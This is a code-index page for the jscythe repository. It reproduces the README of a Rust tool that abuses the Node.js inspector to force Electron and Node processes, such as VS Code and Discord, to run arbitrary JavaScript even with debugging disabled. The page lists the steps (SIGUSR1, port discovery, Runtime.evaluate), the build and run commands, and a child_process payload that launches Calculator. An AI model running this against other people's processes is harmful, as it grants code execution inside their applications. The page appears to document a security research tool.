MCPcopy Index your code
hub / github.com/evilsocket/jscythe

github.com/evilsocket/jscythe @main

Chat with this repo
repository ↗ · DeepWiki ↗ · + Follow
21 symbols 28 edges 2 files 0 documented · 0%
What it actually does AI analysis from the code graph — generated when you open this
loading…
README

jscythe abuses the node.js inspector mechanism in order to force any node.js/electron/v8 based process to execute arbitrary javascript code, even if their debugging capabilities are disabled.

vscode

Tested and working against Visual Studio Code, Discord, any Node.js application and more!

How

  1. Locate the target process.
  2. Send SIGUSR1 signal to the process, this will enable the debugger on a port (depending on the software, sometimes it's random, sometimes it's not).
  3. Determine debugging port by diffing open ports before and after sending SIGUSR1.
  4. Get the websocket debugging URL and session id from http://localhost:<port>/json.
  5. Send a Runtime.evaluate request with the provided code.
  6. Profit.

Building

cargo build --release

Running

Target a specific process and execute a basic expression:

./target/release/jscythe --pid 666 --code "5 - 3 + 2"

Execute code from a file:

./target/release/jscythe --pid 666 --script example_script.js

The example_script.js can require any node module and execute any code, like:

require('child_process').spawnSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator', { encoding : 'utf8' }).stdout

Search process by expression:

./target/release/jscythe --search extensionHost --script example_script.js

Other options

Run jscythe --help for the complete list of options.

License

This project is made with ♥ by @evilsocket and it is released under the GPL3 license.

Core symbols most depended-on inside this repo

get_debug_url
called by 2
src/protocol.rs
find_listening_ports_by_pid
called by 2
src/main.rs
find_inspection_port
called by 2
src/main.rs
get_domains
called by 1
src/protocol.rs
find_process
called by 1
src/main.rs
enable_inspection_port
called by 1
src/main.rs
new
called by 0
src/protocol.rs
display
called by 0
src/protocol.rs

Shape

Class 11
Function 7
Method 2
Enum 1

Languages

Rust100%

Modules by API surface

src/protocol.rs15 symbols
src/main.rs6 symbols

For agents

$ claude mcp add jscythe \
  -- python -m otcore.mcp_server <graph>

⬇ download graph artifact